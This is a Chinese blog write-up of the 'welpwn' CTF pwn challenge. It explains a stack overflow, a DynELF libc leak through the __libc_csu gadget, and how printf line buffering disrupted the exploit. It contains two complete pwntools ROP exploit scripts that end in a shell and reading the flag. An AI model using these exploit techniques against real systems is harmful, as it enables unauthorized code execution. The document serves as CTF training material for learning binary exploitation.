

# [pwn]关于printf输出时机的坑

原创

breezeO\_o 于 2019-08-26 22:13:28 发布 1473 收藏 2

分类专栏: [二进制](#) [ctf](#) # [ctf-pwn](#) 文章标签: [安全](#) [二进制安全](#) [ctf](#) [pwn](#) [网络安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/Breeze\\_CAT/article/details/100086973](https://blog.csdn.net/Breeze_CAT/article/details/100086973)

版权



[二进制](#) 同时被 3 个专栏收录

35 篇文章 6 订阅

订阅专栏



[ctf](#)

30 篇文章 1 订阅

订阅专栏



[ctf-pwn](#)

25 篇文章 0 订阅

订阅专栏

## 关于printf输出时机的坑

今天遇到了一个特别有意思的题, 本来很简单的利用, 但一直没有算出来, 最后发现是一个很简单的却很细节的问题。

welpwn详细writeup

题目地址: [welpwn](#)

首先查看一下安全策略:

```
40b00000
[*] '/mnt/hgfs/share/xctf/zNo17.welpwn/b39a59bc51fb45d8be9d478246bd00b8'
> Arch: amd64-64-little
> RELRO: Partial RELRO
> Stack: No canary found
> NX: NX enabled
> PIE: No PIE (0x400000)
```

保护很少, 然后看一下代码逻辑:

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
    char buf; // [rsp+0h] [rbp-400h]

    write(1, "Welcome to RCTF\n", 0x10uLL);
    fflush(_bos_start);
    read(0, &buf, 0x400uLL);
    echo((__int64)&buf);
    return 0;
}
```

read读入了0x400个字节, 一般这么长必有溢出, 注意echo并不是系统函数, 查看echo逻辑:

```

int __fastcall echo(__int64 a1)
{
    char s2[16]; // [rsp+10h] [rbp-10h]
    for ( i = 0; *(_BYTE *)(i + a1); ++i )
        s2[i] = *( _BYTE *)(i + a1);
    s2[i] = 0;
    if ( !strcmp("ROIS", s2) )
    {
        printf("RCTF{Welcome}", s2);
        puts(" is not flag");
    }
    return printf("%s", s2);
}

```

[https://blog.csdn.net/Breeze\\_CAT](https://blog.csdn.net/Breeze_CAT)

s2只有16个字节，但却复制了一个0x400字节的字符串，必然会有溢出。找到了溢出点，就可以考虑利用思路，但题目本身并没有给出libc版本，那么我们需要使用DynELF将system的地址泄漏出来。但\*\*需要注意的是，这里的复制函数遇到x00就会停止，而我们如果输入64位地址必然会出现x00，所以不能直接在输入中构造ROP。通过调试查看栈结构，发现echo的返回地址下面紧接着就是之前read读入的串的头：

```

00007FFEC1B01698 00007FFEC1B016C0 [stack]:00007FFEC
00007FFEC1B016A0 4141414141414141
00007FFEC1B016A8 4141414141414141
00007FFEC1B016B0 4141414141414141
00007FFEC1B016B8 000000000400880A main+3D
00007FFEC1B016C0 4141414141414141
00007FFEC1B016C8 4141414141414141
00007FFEC1B016D0 4141414141414141
00007FFEC1B016D8 000000000000000A
00007FFEC1B016E0 0000000000000000

```

也就是说，我们可以使用4个pop接一个ret的返回地址覆盖echo的返回地址，然后将下面read读入的24个A和这个地址弹出，然后返回到下面构造的ROP上，而这个题中有通用gadget：

```

mov     rdx, r13
mov     rsi, r14
mov     edi, r15d
call    qword ptr [r12+rbx*8]
add     rbx, 1
cmp     rbx, rbp
jnz     short loc_400880

; CODE X
add     rsp, 8
pop     rbx
pop     rbp
pop     r12
pop     r13
pop     r14
pop     r15
retn

```

再回顾一下整个程序的逻辑，首先输出“welcome”，然后我们输入内容，然后进入echo将我们输入的内容拷贝到s2中，这里存在溢出，然后echo中调用printf将s2（我们输入的内容）输出，然后返回（到我们劫持的地址），那么我构造了leak函数如下：

```

from pwn import *

p=process('./b39a59bc51fb45d8be9d478246bd00b8')
elf=ELF('./b39a59bc51fb45d8be9d478246bd00b8')
write_plt=elf.symbols['write']
read_got=elf.got['read']
write_got=elf.got['write']
read_plt=elf.symbols['read']
start_addr=0x0400630
pop4_addr=0x040089c
pop6_addr=0x040089a
mov_addr=0x0400880
def leak(address):
    print p.recvuntil('RCTF\n')
    payload='A'*24+p64(pop4_addr)+p64(pop6_addr)+p64(0)+p64(1)\
    +p64(write_got)+p64(8)+p64(addr)+p64(1)+p64(mov_addr)\
    +'A'*56+p64(start_addr)
    payload=payload.ljust(1024,'A')
    p.send(payload)
    p.recvuntil('A'*24) #输出会在24个A之后再接三个字符 (pop4的地址)
    p.recv(3) #再接收三个
    data=p.recv(8) #write打印的地址
    print "%x => %s" % (addr, (data or '').encode('hex'))
    return data
d=DynELF(leak,elf=ELF('./b39a59bc51fb45d8be9d478246bd00b8'))
sys_addr=d.lookup('system','libc')

```

最后执行之后发现代码执行不动了：

```

root@kali:~/mnt/hgfs/share/xctf/zNo17.welpwn# python ./test.py/bin/bash
[+] Starting local process './b39a59bc51fb45d8be9d478246bd00b8': pid 537
[*] '/mnt/hgfs/share/xctf/zNo17.welpwn/b39a59bc51fb45d8be9d478246bd00b8'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Welcome to RCTF
stening on 0.0.0.0:23946...
P\x82K
[+] Accepting connection from 192.168.239.1

```

使用python一步一步查看发现：

```

>>> p.send(payload)
>>> p.recv()
'P\x82K<?\x7f\x00\x00Welcome to RCTF\nAAAAAAAAAAAAAAAAAAAAAAAAAA\x9c\x08@'

```

什么情况，8字节的地址先输出，然后输出返回到start之后重新执行时输出的Welcome，最后才输出AAAA，也就是说，第二遍程序都开始执行了，第一遍的echo之中的AAAA还没输出。

这个问题出现的原因是：

```
printf("%s", s4);
```

```
write(1, "Welcome to RCTF\n", 0x10uLL);
```

AAA是用printf输出的，Welcome和地址是用write输出的。这里涉及到printf的特性。\*\*printf是行缓冲函数，只有满了一行才马上打印，write在用户态没有缓冲，所以直接输出。这里printf等到第二遍程序执行到我们输入的地方，也就是被输入打断时才输出。既然知道了错误的原理，就很容易构造利用代码了：

```
from pwn import *

p=process('./b39a59bc51fb45d8be9d478246bd00b8')
elf=ELF('./b39a59bc51fb45d8be9d478246bd00b8')
write_plt=elf.symbols['write']
read_got=elf.got['read']
write_got=elf.got['write']
read_plt=elf.symbols['read']
start_addr=0x0400630
pop4_addr=0x040089c
pop6_addr=0x040089a
mov_addr=0x0400880
prdi_addr=0x04008a3
binsh_addr=0x601070

def leak(addr):
    print p.recv()
    payload='A'*24+p64(pop4_addr)+p64(pop6_addr)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(addr)+p64(1)+p64(mov_addr)
    payload+=p64(start_addr)
    payload=payload.ljust(1022, 'C')
    p.send(payload)
    data=p.recv(8)
    print "%x => %s" % (addr, (data or '').encode('hex'))
    return data

d=DynELF(leak,elf=ELF('./b39a59bc51fb45d8be9d478246bd00b8'))
sys_addr=d.lookup('system','libc')
print hex(sys_addr)
print p.recv()
payload='A'*24+p64(pop4_addr)+p64(pop6_addr)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(binsh_addr)+p64(0)+p64(mov_addr)
payload+=p64(prdi_addr)+p64(binsh_addr)+p64(sys_addr)+'a'*8
payload=payload.ljust(1024, 'A')
p.send(payload)
p.sendline('/bin/sh\x00')
p.interactive()
```

成功。

```
[*] Switching to interactive mode
$ ls
bin
dev
flag
lib
lib32
lib64
libc32-2.19.so
libc64-2.19.so
welpwn
$ cat flag
cyberpeace{42273a3950e896f11128059cf1a24dc8}
$
```

总结一下，虽说最后利用代码和思路都很简单，没什么绕弯子，但如果不知道printf的输出时机，有没有仔细调试，就会很烦。细节真的很重要！